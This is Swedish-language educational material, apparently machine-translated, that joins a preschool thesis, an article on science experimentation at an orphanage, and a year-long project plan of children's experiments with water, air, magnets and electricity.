Slumpmässiga experiment kräver inga speciella förberedelser. De utförs improviserat i den situation som utvecklades i det ögonblick då barnen såg något intressant i naturen, i "Naturhörnan" eller på platsen. Detta betyder dock inte att slumpmässiga experiment är lätta att genomföra. För att en lärare ska lägga märke till något i naturen som bidrar till utvecklingen av ett barns kognitiva aktivitet måste han ha betydande biologisk kunskap. Annars kommer de mest intressanta händelserna att passera honom obegripligt och obemärkt. Det följer att förberedelser för slumpmässiga experiment är ständig självutbildning inom alla områden av biologi, geografi, geovetenskap och jordbruk. Dessutom krävs att läraren ständigt är psykologiskt förberedd för att urskilja nya och
19 intressant. Detta innebär att när han går med barn och utför sina olika uppgifter, övervakar barns beteende och förebygger alla typer av nödsituationer, måste han samtidigt leta efter fenomen i naturen som kan intressera barn, fylla på deras kunskap eller helt enkelt ge nöje och framkalla positiva känslor. Det är förstås inte lätt, särskilt med tanke på bristen på särskild biologisk litteratur riktad till förskoleanställda.
Planerade observationer och experiment.
Förberedelser för att genomföra planerade observationer och experiment börjar med att läraren identifierar aktuella didaktiska uppgifter. Därefter väljs ett objekt som uppfyller kraven ovan. Läraren lär känna honom i förväg – både i praktiken och från litteraturen. Samtidigt behärskar han tekniken att experimentera, om den är obekant för honom. När läraren bjuder in barn att utföra ett experiment, berättar läraren för dem målet och problemet som måste lösas, ger dem tid att tänka på det och involverar sedan barnen i att diskutera experimentets framsteg metodiskt och under kommando. Naturligtvis kan experimentet ibland utföras under ledning av en lärare, men detta bör inte missbrukas. I de allra flesta fall motiverar inte denna stil sig själv, eftersom den berövar barn initiativ och fri vilja. Hänvisningen till att spara tid är inte giltig, eftersom att sätta upp experiment inte är ett mål i sig, utan bara ett av sätten att utveckla barns tänkande. Barns deltagande i planeringsarbetet löser detta problem mer effektivt än någon annan typ av aktivitet. På samma sätt är det inte önskvärt att förutsäga slutresultatet i förväg: barn förlorar den värdefulla känslan av upptäckt. När du arbetar bör du inte kräva perfekt tystnad från barn: när du arbetar med passion ska de vara avslappnade. Dessutom, som nämnts ovan, i avsaknad av möjligheten att uttrycka sina handlingar och de resultat som ses, försämras kvaliteten på kunskapsuppfattningen kraftigt. Men när de känner sig fria bör barn inte överskrida vissa gränser bortom vilka kränkningar av disciplin börjar. Under arbetets gång uppmuntrar läraren barnen att leta efter sina egna sätt att lösa ett problem, genom att variera experimentets gång och experimentella åtgärder. Samtidigt släpper han inte ur synen de som jobbar långsamt, av någon anledning ligger efter och tappar huvudidén. På grund av detta inträffar avsynkronisering med jämna mellanrum i barns arbete under lektionerna. Detta är ett helt naturligt fenomen. Det
20 visar sig inte bara hos barn, utan även hos vuxna. Sådana situationer bör inte undvikas, men de bör inte heller förvärras. Med betydande avsynkronisering kan situationen i gruppen komma utom kontroll. Det sista steget i experimentet är att summera resultaten och dra slutsatser. Detta kan göras muntligt, ibland kan man välja andra metoder. Efter experimentet måste barnen städa sin arbetsyta på egen hand - rengöra och gömma utrustning, torka bord, ta bort skräp och tvätta händerna med tvål. Experimentets varaktighet bestäms av många faktorer: egenskaperna hos fenomenet som studeras, tillgängligheten av ledig tid, barnens tillstånd och deras inställning till denna typ av aktivitet. Om barnen är trötta bör lektionen avbrytas tidigare än planerat, men om intresset för arbetet tvärtom är stort kan det fortsätta utöver den planerade tiden.
Experiment

Hur

svar

på

barns

frågor.
Förutom planerade och slumpmässiga experiment finns det experiment som genomförs som svar på ett barns fråga. Antingen barnet som ställde frågan eller hans kamrater är inblandade i att genomföra sådana experiment. Efter att ha lyssnat på frågan svarar läraren inte på den, men råder barnet att själv fastställa sanningen genom att göra en enkel observation. I framtiden, om arbetet inte är svårt, utförs det som ett slumpmässigt experiment; om betydande förberedelser krävs, utförs det i enlighet med de metodologiska rekommendationerna som beskrivs för planerade experiment.
21
SLUTSATS
I mitt arbete studerade jag den psykologiska och pedagogiska litteraturen om problemet med bildandet av kognitivt intresse hos barn i mellanstadiet, förstod djupare essensen och strukturen av kognitivt intresse och fick reda på att i förskolebarns utvecklingsprocess , spelar kognitivt intresse en mångvärdig roll: både som ett sätt att leva, lära som fängslar barnet, och som ett starkt motiv för intellektuell och långsiktig kognitiv aktivitet, och som en förutsättning för bildandet av individens beredskap för livslångt liv. utbildning. Hon utförde experimentellt arbete på bildandet av kognitiva intresse hos förskolebarn i processen att bemästra experimentella aktiviteter och fann att barns kognitiva intresse är instabilt, de förstår inte alltid problemet, de vet lite om egenskaper och kvaliteter hos föremål och föremål i den livlösa naturen. Detta tydde på behovet av ett riktat pedagogiskt arbete för att utveckla kognitiva intresset hos förskolebarn. Utifrån det utförda arbetet var jag övertygad om att barns experimenterande är en speciell form av sökaktivitet där processerna för målbildning, processerna för uppkomsten och utvecklingen av nya personliga motiv som ligger till grund för självrörelsen och självutvecklingen av förskolebarn kommer tydligast till uttryck. Användningen av metoden - barns experimenterande i pedagogisk praktik är effektiv och nödvändig för utveckling av förskolebarns forskningsverksamhet, kognitiva intresse, öka mängden kunskap, färdigheter och förmågor. I barns experimenterande manifesterar sig barns egen aktivitet mest kraftfullt, som syftar till att skaffa ny information, ny kunskap (kognitiv form av experiment) och få produkter av barns kreativitet - nya byggnader, teckningar, sagor, etc. (produktiv form av experimenterande) . Det fungerar som en undervisningsmetod om det används för att överföra ny kunskap till barn, det kan betraktas som en form av organisering av den pedagogiska processen om den senare är baserad på experimentmetoden, och slutligen är experiment en av typerna kognitiv aktivitet barn och vuxna.
22
LITTERATUR
1. E. Smirnova " Tidig ålder: spel som utvecklar kognitiv aktivitet", D/v, 2009, nr 2. 2. Ivanova A.I. Metoder för att organisera miljöobservationer och experiment i dagis: en manual för förskolearbetare. – M.: TC Sfera, 2007. – 56 sid. 3. Kozlova S.A., Kulikova T.A. Förskolepedagogik: Proc. stöd till studenter snitt ped. lärobok anläggningar. – 4:e uppl., raderad. – M.: Publishing Center ”Academy”, 2002. – 416 sid. 4. Konceptet med systemet för miljöutbildning för förskolebarn. Krasnoyarsk: RIO KSPU, 2003. – 24 sid. 5. Luchich M.V. Om natur för barn: Bok. för en dagislärare trädgård. - 2:a uppl., reviderad - M.: Utbildning, 1989. - 143 sid. 6. Markovskaya M.M. Naturhörna på dagis: En manual för dagislärare. trädgård – M.: Utbildning, 1984. – 160 s., ill. 7. Metoder för att introducera barn till naturen på dagis: lärobok. handbok för lärare specialskola "Doshk. utbildning”/ L.A. Kameneva, N.N. Kondratyeva, L.M. Manevtseva, E.F. Terentyeva; Ed. P.G. Samorukova. – M.: Utbildning, 1991. – 240 sid. 8. Barndomens värld. Förskolebarn / red. A.G. Khripkova; resp. ed. A.V.Zaporozhets. – M.: Pedagogik, 1979. – 416 sid. 9. Den naturliga världen och barnet. (Metoder för miljöpedagogik av förskolebarn): Lärobok för pedagogiska skolor inom specialiteten ”Förskolepedagogik” / L.A. Kameneva, N.N. Kondratyeva, L.M. Manevtsova, E.F. Terentyeva; redigerad av L.M. Manevtsova, P.G. Samorukova. – SPb.: AKTSIDENT, 1998. – 319 sid. 10. Nikolaeva S.N. Komplexa klasser om ekologi för äldre förskolebarn. Verktygslåda. M.: Pedagogical Society of Russia, 2005. – 96 sid. 11. Nikolaeva S.N. Metoder för miljöutbildning av förskolebarn: Lärobok. stöd till studenter snitt och högre ped. lärobok anläggningar. – M.: Publishing Center ”Academy”, 1999. – 184 sid. 12. Nikolaeva S.N. Teori och metoder för miljöundervisning för barn: Lärobok. stöd till studenter högre ped. lärobok anläggningar. – M.: Publishing Center Academy, 202. – 336 sid. 13. Potapova T.V. ”Ekologiskt och pedagogiskt arbete i dagis”, tidskrift ”Ledning av en förskoleläroanstalt”, 2005, nr 3.
23 14. Program för utbildning och träning i dagis / red. M.A. Vasilyeva, V.V. Gerbova, T.S. Komarova. – 5:e uppl., rev. och ytterligare – M.: Mozaika-Sintez, 2007. – 208 sid. 15. Ryzhova N.A. Trollkvinna vatten. Utbildnings- och metoduppsättning för miljöundervisning av förskolebarn. – M.: LINKA-PRESS, 1997. – 72 sid. 16. Ryzhova N.A. "Diagnostik av miljöutbildning av förskolebarn: nya tillvägagångssätt", tidningen "Management of a preschool educational institution", 2007, nr 3. 17. Ryzhova N.A. Inte bara sagor... miljöberättelser, sagor och högtider - M.: Linka-Press, 2003 - 192 sid. 18. Ryzhova N.A. Jag och naturen: Undervisningsmetod. Ekologiskt kit utbildning av förskolebarn. – M.: LINKA-PRESS, 1996, sid. 56, sjuk. (Ser. "Vårt hem är naturen"). 19. Vad en chef bör veta förskola: Metod. manual för chefer och förskollärare. utbildning institutioner: Av erfarenhet / Författarkomp. I.A. Kutuzova. – 2:a uppl. – M.: Utbildning, 2004. – 159 sid. 20. Miljöutbildning för skolbarn: En manual för förskolepedagoger / Författarkomp. S.N. Nikolaev. – M.: LLC “Firm Publishing House AST”, 1998. – 320 sid. - (Underlandet).
24 Bilaga 1 Tabell 1 september 2014

Efternamn, förnamn på barnet Val av aktivitet 1 2 3 4 5 6 1. Sveta B. 2 2. Artyom R. 3. Alina E. 1 4. Vladik L. 1 5. Sasha P. 6. Olya S. 2 7. Leonid T 8. Nastya P. 9. Kolya K. 10. Ulyana M. Totalt: 6 30 poäng – 100 % x % = (6 poäng x 100 %) / 30 poäng = 20 % 6 poäng – x %
25 Bilaga 2 Tabell 2 februari 2015
Resultat av implementering av metoden "Val av aktivitet" (i poäng)
Efternamn, förnamn på barnet Val av aktivitet 1 2 3 4 5 6 1. Sveta B. 3 2. Artyom R. 1 3. Alina E. 3 4. Vladik L. 2 5. Sasha P. 6. Olya S 3 7. Leonid T. 8. Nastya P. 9. Kolya K. 10. Ulyana M. 3 Totalt: 15 30 poäng – 100 % x % = (15 poäng x 100 %) / 30 poäng = 50 % 15 poäng – x %
26 Bilaga 3 Tabell 3 februari 2015
Resultat av barns val av utrustning från hörnet

experiment (poäng)
Efternamn, förnamn på barnet Utrustning från experimenthörnan 1 2 3 4 5 6 7 8 9 1. Sveta B. 9 7 8 4 2 3 5 1 6 2. Artyom R. 7 6 9 1 2 3 8 4 5 3. Alina E. 4 2 3 1 6 5 8 9 7 4. Vladik L. 6 5 4 2 7 1 9 8 3 5. Sasha P. 4 3 6 2 9 5 8 7 1 6. Olya S. 9 3 8 6 1 2 4 7 5 7. Leonid T. 5 2 1 3 7 4 6 9 8 8. Nastya P. 7 1 9 2 4 3 5 8 6 9. Kolya K. 2 1 9 6 8 4 5 7 3 10. Ulyana M. 2 3 8 7 6 1 5 9 4 Aritmetiskt medelvärde 5,5 3,3 6,5 3,5 5,2 3,1 6,3 6,9 4,6
27

Avsnitt: Jobbar med förskolebarn

Den moderna utbildningsprocessen för förskoleinstitutioner är inriktad på federala statliga krav på strukturen för det grundläggande allmänna utbildningsprogrammet för förskoleutbildning (nedan kallat FGT), som indikerar behovet av att "...bygga utbildningsprocess om åldersanpassade former av arbete med barn.”

Implementeringen av utbildningsområdet "Kognition" när det gäller utveckling av kognitiva och forskningsaktiviteter säkerställs genom sådana arbetsformer som:

experimenterande;
studie;
samlar;
design.

Dessa arbetsformer gör det möjligt att säkerställa uppnåendet av den integrerande kvaliteten hos en examen från en förskoleinstitution, som i FGT definieras som "Nyfiken, aktiv." Denna egenskap kännetecknas av att barnet ”... är intresserad av det nya, okända i omvärlden (objektens och tingens värld, relationernas värld och hans inre värld). Ställer frågor till vuxna, gillar att experimentera. Kunna agera självständigt (i vardagen, i olika typer av barnaktiviteter). Sök hjälp från en vuxen vid svårigheter. Tar en livlig, intresserad del i utbildningsprocessen.”

Uppgiften att utveckla barns nyfikenhet och aktivitet matchas optimalt av experiment som en form av barns kognitiva aktivitet och som en metod för dess organisation. (N.N. Poddyakov, F.A. Sokhin, S.N. Nikolaeva).

Inom förskolepedagogiken definieras begreppet ”experimentering” olika.

"Experiment är en aktivitet där ett vetenskapligt utfört experiment utförs, där observation av fenomenet studeras under exakt beaktade förhållanden, vilket gör att man kan övervaka fenomenets utveckling och reproducera det många gånger när dessa förhållanden upprepas" ( M.A. Povalyaeva).

"Experiment är en speciell form av barns sökaktivitet" (S.A. Kozlova; T.A. Kulikova)

"Experimentering är en av formerna för att organisera barns aktiviteter, å ena sidan, och en av typerna av kognitiv aktivitet hos barn, å andra sidan" (N.N. Poddyakov)

Effektiviteten av experiment som en metod för att förstå världen omkring oss bevisas i vetenskaplig och metodologisk litteratur. Experimentaktiviteten bidrar till bildandet av kognitivt intresse hos barn, utvecklar observation och kognitiv aktivitet. Enligt akademiker N.N. Poddyakov, i experimenterande aktivitet, fungerar barnet som en slags forskare, som självständigt påverkar föremålen och fenomenen runt honom på olika sätt i syfte att mer fullständigt förstå och bemästra dem. Under experimentella aktiviteter skapas situationer som barnet löser genom experiment och, genom att analysera, drar en slutsats, självständigt behärska idén om en viss lag eller ett visst fenomen.

Rekommendationer för att genomföra klasser med hjälp av experiment finns i verk av olika författare: N.N. Poddyakov, F.A. Sokhin, S.N. Nikolaeva, L.A. Venger, N.A. Vetlugina, I.D. Zverev, etc. Forskare föreslår att arbetet organiseras på ett sådant sätt att barn kan upprepa experimentet som visas till vuxna, kan observera, svara på frågor med hjälp av resultaten av experimenten. Med denna form bemästrar barnet experiment som en typ av aktivitet, men hans handlingar är reproduktiva till sin natur. Experimentering blir inte en aktivitet av värde i sig, eftersom sker på initiativ av en vuxen. För att experiment ska bli en ledande verksamhet måste det uppstå på barnets eget initiativ.

Modern forskning visar att barn vid tre års ålder ännu inte kan arbeta med kunskap i verbal form, utan att förlita sig på visuella bevis. Därför förstår de i de allra flesta fall inte den vuxnas förklaringar och strävar efter att etablera alla kopplingar på egen hand. Efter fem år börjar ett skede när barns aktiviteter divergerar i två riktningar: en riktning förvandlas till lek, den andra till medvetna experimenterande.

Ett experiment som utförs oberoende av ett barn låter honom skapa en modell av ett fenomen och generalisera de erhållna resultaten på ett effektivt sätt, jämföra dem, klassificera och dra slutsatser om dessa fenomen.

För förskolebarn är alltså experiment, tillsammans med lek, en ledande aktivitet, och för vuxna är det en metod för att organisera barnets kognitiva aktivitet.

I MKOU" Barnhem Nr 3" i Novokuznetsk, föräldralösa barn och barn som lämnats utan föräldravård i åldern från tre till sju år föds upp. Som regel, innan de gick in i en utbildningsinstitution, var barnen ogynnsamma livssituation, vilket negativt påverkar personliga egenskaper, kognitiva och emotionella sfärer.

Genom att arbeta med barn uppvuxna på ett barnhem drog vi slutsatsen att de kännetecknas av en instabil attityd till djur och växter och saknar en uttalad positiv orientering mot dessa föremål. Attityden till omvärlden är situationsbetingad. Barn, tillsammans med individuella positiva handlingar, kan visa slarv, till och med aggressivitet mot föremål. Samtidigt agerar de omedvetet, mekaniskt, imitativt och kan ansluta sig till andras felaktiga beteende. De flesta barn visar inte på eget initiativ en lust att kommunicera med levande varelser, eleverna saknar intresse och lust att interagera med dem. På grund av personlig erfarenhet barn är fattiga, deras idéer om naturföremål och deras egenskaper är ytliga och ofta otillräckliga. De anser att döda föremål är levande och har liten förståelse för normerna för attityd till djur och växter. Barn förstår i allmänhet att de inte ska skada naturliga föremål, men de förstår inte varför. De motiverar behovet av att behandla dem med försiktighet och hävdar att "det är så det ska vara." De följer inte reglerna för human interaktion med naturen och vet inte hur de ska ta hand om levande varelser.

Dessa slutsatser bekräftas av resultaten från den pedagogiska undersökningen. Så i september 2011, in förberedande grupp Ett barnhem genomförde en undersökning av 12 förskolebarn, vars syfte var att fastställa:

nivån på barns kunskap om levande och livlös natur;
nivå av behärskning av åtgärder för att experimentera med naturfenomen och föremål (vatten, luft, snö, jord).

Baserat på det ungefärliga grundläggande allmänna utbildningsprogrammet "Från födelse till skola" (N.E. Veraksa, T.S. Komarova, M.A. Vasilyeva), identifierades indikatorer som kännetecknar höga, medelhöga och låga utvecklingsnivåer av experimentella aktiviteter hos barn. (Ansökan). Undersökningsresultaten visade att eleverna i början av läsåret hade:

64 % – låg nivå,
23% – genomsnittlig nivå,
7 % – hög nivå.

De erhållna resultaten ledde till behovet av att utveckla en serie pedagogiska aktiviteter om barns experimenterande, organiserade i formerna gemensamma aktiviteter barn och lärare och fristående verksamhet.

Av inte ringa betydelse för utvecklingen av barns aktivitet är en välutrustad, rik ämnesspatial miljö, som stimulerar barnets självständiga experimentella aktivitet och skapar optimala förutsättningar för självutveckling. I detta avseende har vi skapat en experimenthörna, där förutsättningar skapats för gemensamma och självständiga experiment och utveckling av barns sökaktivitet. Hörnet har en mängd olika utrustning:

olika behållare;
sprutor, rör;
förstoringsglas, förstoringsglas;
mätinstrument;
kompass, kikare;
mikroskop;
svamp, skumplast, skumgummi,
jordprover, sand, lera, stenar m.m.

De skapade förutsättningarna väckte ett ökat intresse för experiment hos barn i förberedelsegruppen.

Vi systematiserade också (från olika källor) lektionsanteckningar om ämnena "Luft", "Jord", "Lera", "Jord", "Vatten", "Stenar", "Sand". Denna systematisering innefattade experiment med sand, vatten, lera, jord, luft, magnet, ljus, snö m.m.
Ett kartotek över försök enligt årstiderna har sammanställts. Utflykter, observationer, riktade promenader, miljöunderhållning, semester, spel, frågesporter, pedagogiska sagor har utvecklats och systematiserats. Alla dessa arbetsformer innebär enkla experimenterande. Av ingen liten betydelse för utvecklingen av barns sökande och experimentella aktiviteter är utbildningslitteratur: uppslagsverk "Allt om allt" (A. Likum), "Vad är vad", "Hundratusen varför" (M. Ilyin), "Vad är. Vem är det här” (A.G. Aleksin och andra), dikter, ordspråk, gåtor etc. Tematiskt urval böcker motsvarar de föremål som studeras och är placerad i en specialdesignad litterär hörna, där förutom böcker, målningar, illustrationer och pedagogiska spel väljs ut.

För gemensamma aktiviteter utvecklades och designades en "Observationsjournal", tabeller, diagram, collage över de ämnen som behandlades och minilayouter. För större intresse och behärskning av materialet används sagofigurer i klasserna - Dunno-dockan, vetenskapsdockan Galileo Galilei.

Sök- och forskningsaktivitet är en typ av aktivitet som integreras med andra: observation, arbete, lekaktivitet, talutveckling, design, visuell aktivitet, bildandet av elementära matematiska begrepp, läsning fiktion, musik och fysisk fostran. När vi arbetar med barn använder vi därför andra typer av aktiviteters möjligheter för att genomföra grundläggande experiment. Med det största intresset var eleverna involverade i en sådan arbetsform som "Självständighetens timme", där läraren placerar apparater, föremål, föremål i "Experimenthörnan" på ett attraktivt sätt för barn, vilket motiverar dem att experimentera oberoende av.

Tillsammans med traditionella metoder och tekniker vi använder modern teknik utbildning och träning av förskolebarn. I experimentprocessen används dator- och multimedialäromedel, vilket stimulerar det kognitiva intresset hos förskolebarn.

Efter att ha analyserat resultaten av vår undervisningsverksamhet i ämnet kom vi till slutsatsen att arbetslivserfarenhet inom detta område är effektivt för utvecklingen av barns kognitiva aktivitet i experimentprocessen.

Denna slutsats bekräftas av den slutliga diagnosen. Det finns en positiv trend i alla kriterier för att bemästra experimentell verksamhet av barn i äldre förskoleåldern. Resultat av en undersökning av utvecklingen av experimentella aktiviteter för elever i slutet av läsåret:

40 % – låg nivå,
40 % – genomsnittlig nivå,
20% är en hög nivå.

Vårt arbete har visat att för förskolebarn, barnhemselever, är experiment en aktivitet som utvecklar deras kognitiva sfär, bildar kognitiva intressen, aktivitet, självständighet, vilket i slutändan bidrar till en framgångsrik socialisering av föräldralösa barn och barn utan föräldravård.

Litteratur:

1. Baranova E.V. Pedagogiska aktiviteter och lekar med vatten på dagis och hemma. Yaroslavl: Development Academy, 2009 – 112 s.
2. Dybina O.V., Poddyakov N.N., Rokhmanova N.P., Shchetinina V.V. Ett barn i sökvärlden / Redigerad av O.V. Dybina – M.TC Sfera, 2005 – 64 sid.
3. Dybina O.V., Rakhmanova N.P., Shchetina V.V. Det okända finns i närheten: underhållande experiment och experiment för förskolebarn / Ed. O.V. Dybina - M., Sfera köpcentrum, 2004 - 64 sid.
4. Förskolepedagogik: Lärobok för gymnasiepedagogiska läroanstalter - M.: Förlagscentrum "Akademin", 1998.
5. Korotkova N.A. Kognitiv och forskningsverksamhet hos äldre förskolebarn // Barn på dagis. 2003 – nr 3, 4, 5; 2002 – nr 1.
6. Nikolaeva S.N. Introducerar förskolebarn till den livlösa naturen. Naturvård på dagis. Verktygslåda– M. Pedagogical Society of Russia, 2005 – 80 sid.
7. Logopedens referensbok / M.A. Povolyaeva – / Ed. 9-E – Rostov N./D.: Phoenix, 2008.

Projekt

"Experimentera med föremål av levande och livlös natur."

Utarbetad av: seniorlärare vid MKDOU Buturlinovsky dagis för allmän utvecklingstyp nr 1

Chernykh T.A.

Effektiv metod kunskap om mönster och fenomen i omvärlden och mer än någonsin experiment är en av de mest angelägna problemen modernitet.

Har en enorm utvecklingspotential. Dess främsta fördel är att det ger barn verkliga idéer om de olika aspekterna av föremålet som studeras, om dess relationer med andra föremål och miljön.

berikar barnets minne, aktiverar hans tankeprocesser, inkluderar ett aktivt sökande efter lösningar på problem, d.v.s. Utbildning är ett bra medel för intellektuell utveckling av förskolebarn.

När man experimenterar manifesteras barns egen aktivitet, som syftar till att skaffa ny kunskap och information, mest kraftfullt.

För förskolebarn är experiment, tillsammans med lek, en ledande aktivitet.

Experiment är nära besläktat med alla typer av aktiviteter, och i första hand till sådana som observation och arbete. Observation är en oumbärlig komponent i alla experiment, eftersom uppfattningen av arbetets framsteg och dess resultat med dess hjälp utförs.

Experiment och talutveckling är mycket nära besläktade. Detta kan tydligt ses i alla stadier av experimentet - vid formulering av målet, under diskussion om metodiken och framsteg av experimentet, när man summerar resultaten och ger en muntlig rapport om vad som setts.

Sambandet mellan barns experimenterande och visuella aktiviteteräven dubbelsidigt. Ju mer utvecklad ett barns visuella förmågor är, desto mer exakt kommer resultatet av ett naturhistoriskt experiment att registreras.

Sambandet mellan experiment och bildandet av elementära matematiska begrepp kräver inga särskilda bevis. Under experiment finns det ett konstant behov av att räkna, mäta, jämföra, bestämma form och storlek och utföra andra operationer. Allt detta ger matematiska begrepp verklig betydelse och bidrar till deras medvetenhet. Samtidigt underlättar behärskning av matematiska operationer experimenterande.

Projekttypologi: Projektet är komplext till sin natur - det omfattar forskning, kreativa, pedagogiska och praktiska aktiviteter.

Deadlines för implementering: långsiktigt – 1 år.

Projektdeltagare: barn i äldre förskoleåldern (5-7 år), föräldrar till elever, lärare.

Målet med projektet: Utveckling av kognitiva förmågor hos förskolebarn genom experiment.

Projektmål:

Att forma dialektiskt tänkande hos förskolebarn, d.v.s. förmågan att se världens mångfald i ett system av relationer och ömsesidigt beroende;

Utveckla din egen kognitiva erfarenhet i en generaliserad form med hjälp av visuella hjälpmedel (standarder, symboler för villkorliga substituenter, modeller);

Utöka utsikterna för utveckling av barns sökande och kognitiva aktivitet genom att inkludera dem i tänkande, modellering och transformativa handlingar;

Stöd barns initiativ, intelligens, nyfikenhet, kritik och självständighet.

Metoder och teknologier för projektgenomförande: projektmetod; personorienterade tekniker; pedagogiska aktiviteter och lekar - experimenterande, samtal med barn, produktiva aktiviteter.

Resursstöd för projektet.

Metodisk:

1. ”Det okända är i närheten. Erfarenheter och experiment för förskolebarn”, Dybina O.V., Rakhmanova N.P., Shchetinina V.V., 2010

2. "Experimentella aktiviteter för barn i mellan- och seniorförskoleåldern", Chistyakova A.E., 2010.

3. "Organisation av experimentella aktiviteter för barn i åldrarna 2-7 år", Martynova E.A., Suchkova I.M., 2011

4. "Spel med vatten och sand", Ryzhova N.V., Hoop No. 2, 1997

5. "Experiment med sand och lera", Ryzhova N.V., Hoop No. 2, 1998

Logistik:

Ett urval av rådgivande material för lärare och föräldrar;

Utveckling grupparbete, lektionsanteckningar och spel - experimenterande;

Urval av illustrationer, barnlitteratur;

Förberedelse av utrustning och material för experiment och produktiva aktiviteter för barn;

Design av ett "barnlaboratorium i grupp.

Stadier av projektet.

I. Förberedande (motiverande, informativt och ackumulerande).

1. Förberedelse för lärares arbete.

Analys av metodlitteratur.

Ett urval av berättelser, målningar, illustrationer på ämnet "Experiment, experiment för förskolebarn."

Utveckling av en långsiktig tematisk plan för arbete med barn.

Förberedelse av didaktiskt och praktiskt material för genomförande av experiment.

2. Samarbete med föräldrar.

Designa informations- och utbildningsmaterial i form av mobilmappar, visa det på dagiswebbplatsen med ämnet "Barns experimenterande."

Att involvera föräldrar i att delta i aktiviteter inom projektet:

Ett urval av illustrationer, målningar; insamling av information.

Skapande av album tillsammans med barn om att genomföra experiment.

Val av material och hjälp vid laboratoriedesign.

3. Förberedande arbete med barn.

Samtal och visning av illustrationer, läsning av skönlitteratur: vilka är vetenskapsmän; Vad är ett laboratorium och dess syfte?

Utflykt till "barnlaboratoriet". Att bilda idéer hos barn om vad experiment och experiment behövs till.

Genomföra experiment med föremål av levande och livlös natur: vatten, sand, luft, stenar.

Ungefärlig algoritm för ett gruppprojekt

Motivation för att välja ämne. Modell med tre frågor.

1. Vad vet vi?

Utvecklingsfrågor att ställa till barn:

Varför behöver vi ett laboratorium i gruppen?

Varför behövs experiment?

Kom ihåg vilka experiment som utfördes, vad lärdes som ett resultat av dem, vad var intressant i minnet?

2. Vad vill vi veta?

Vad är ett mikroskop och förstoringsglas?

Vilka ämnen löser vatten?

Varför blåser vinden?

Varför sjunker inte isberg?

Hur verkar en magnet på föremål?

3. Vad behöver du göra för att ta reda på det?

Köp utrustning till laboratoriet för experiment.

Genomför experiment och experiment.

Ställ dina frågor till föräldrar och lärare, läs böcker med dem, slå upp information i uppslagsverk.

Berätta för varandra vad ni lärt er.

II. Praktisk.

Organisationsformer för utbildningsprocessen

I olika typer barnaktiviteter i systemet "Lärare - Barn - Föräldrar".

Arbeta med barn

Utflykt till "barnlaboratoriet".

Mål: att klargöra idén om vilka forskare är, syftet med ett barnlaboratorium och beteendekulturen i det.

oktober

Experiment "Vad är det för vatten?"

Mål: att förtydliga barns förståelse av vattnets egenskaper: transparent, luktfri, har vikt, har inte sin egen form; introducera pipettens funktionsprincip, utveckla förmågan att agera enligt en algoritm och lösa ett grundläggande korsord.

Experiment ”Vatten är ett lösningsmedel. Vattenrening."

Syfte: att identifiera ämnen som löser sig i vatten; introducera metoden för vattenrening - filtrering; befästa kunskapen om beteendereglerna vid arbete med olika ämnen.

Experiment "Vart tog vattnet vägen?"

Mål: att identifiera processen för vattenavdunstning, förångningshastighetens beroende av förhållanden (lufttemperatur, öppen och stängd vattenyta).

Experiment – underhållning "Droplet's Journey".

Mål: att introducera barn till vattnets kretslopp i naturen, att identifiera orsakerna till nederbörd i form av regn och snö; utöka barns förståelse för vattnets betydelse för människors liv; utveckla sociala färdigheter hos barn; förmågan att arbeta i en grupp, förhandla, ta hänsyn till partnerns förmåga att bevisa riktigheten av hans åsikt.

november

Experiment "Resa in i glassakernas värld."

Syfte: att introducera glasvaror, att förbättra kognitiv aktivitet; väcka intresse för föremål från den konstgjorda världen, konsolidera förmågan att klassificera materialet från vilket föremål är gjorda.

Experimentera "Magiska glasögon".

Mål: att introducera barn för observationsinstrument - mikroskop, förstoringsglas, kikare; förklara varför en person behöver dem.

Experiment "Jag heter Glass."

Syfte: att införa porslinstillverkning; lära ut att jämföra egenskaperna hos glas och porslin; intensifiera kognitiv aktivitet.

Experiment "Släktingar till glas".

Mål: känna igen föremål gjorda av glas, porslin, lergods. Jämför deras kvalitetsegenskaper och egenskaper.

december

Experiment "Air".

Mål: att utöka barns förståelse för luftens egenskaper: osynlig, luktfri, har vikt, expanderar när den värms upp, drar ihop sig när den kyls; stärka förmågan att självständigt använda koppvågar; introducera barn till historien bakom uppfinningen av luftballongen.

Experiment "Varför blåser vinden."

Syfte: att introducera barn till orsaken till vind - luftmassornas rörelse; För att klargöra barns idéer om luftens egenskaper: varm luft stiger uppåt - den är lätt, kall sjunker ner - den är tung.

Experiment "Denna fantastiska luft".

Syfte: att ge en uppfattning om källorna till luftföroreningar; skapa en önskan att bry sig om ren luft.

Experiment "Andas in - andas ut."

Mål: att utöka förståelsen av luft, hur man upptäcker den, luftvolymen beroende på temperatur och den tid under vilken en person kan vara utan luft.

januari

Experiment "Flerfärgade istappar".

Mål: att förverkliga dina idéer om vattens egenskaper (transparens, löslighet, frysning vid låga temperaturer), erhållna under forskningsaktiviteter.

Experiment ”Fast vatten. Varför sjunker inte isberg?

Syfte: att förtydliga barns förståelse av isens egenskaper: genomskinlig, hård, formad, när den värms upp smälter den och förvandlas till vatten; ge en uppfattning om isberg och deras fara för navigering.

Experiment "Förändring i vätskevolymen."

Syfte: att identifiera förändringar i vätskevolymen under frysning.

februari

Experiment "Testa en magnet".

Mål: att introducera barn till det fysiska fenomenet - magnetism, en magnet och dess egenskaper; experimentellt identifiera material som kan bli magnetiska.

Experiment "Två magneter".

Mål: att identifiera särdragen i interaktionen mellan två magneter: attraktion och repulsion.

Experiment "Hur magneter verkar på föremål."

Mål: att utöka den logiska och naturvetenskapliga erfarenheten hos barn som är förknippade med att identifiera sådana egenskaper hos material som klibbighet, förmågan att sticka och sticka och magneternas egenskaper för att attrahera järn.

Experiment "Ovanligt gem".

Syfte: att bestämma metallföremåls förmåga att magnetiseras.

Mars

Experimentera "Magic Ball".

Syfte: att fastställa orsaken till statisk elektricitet.

Experiment "mirakelfrisyr".

Syfte: att introducera manifestationen av statisk elektricitet och möjligheten att ta bort den från föremål. Identifiera interaktionen mellan två elektrifierade objekt

Experiment "Vad är blixt."

Mål: att introducera barn till begreppen "el", "elektrisk ström"; bilda grunderna för säker hantering av el; förklara orsaken till bildandet av blixtar.

Experiment "Varför brinner ficklampan."

Syfte: att förtydliga barns förståelse för elektricitetens betydelse för människor; introducera batteriet - innehavaren av elektricitet - och sättet att använda en citron som batteri.

april

Experimentera "Gravity".

Syfte: att ge barn en uppfattning om existensen av en osynlig kraft - tyngdkraften, som attraherar föremål och alla kroppar till marken.

Experiment "Två trafikstockningar".

Mål: ta reda på hur gravitationen fungerar.

Experiment "Envisa föremål".

Mål: att introducera barn för fysikalisk egenskap föremål - tröghet; utveckla förmågan att registrera resultaten av observationer.

Experiment "Varför objekt rör sig."

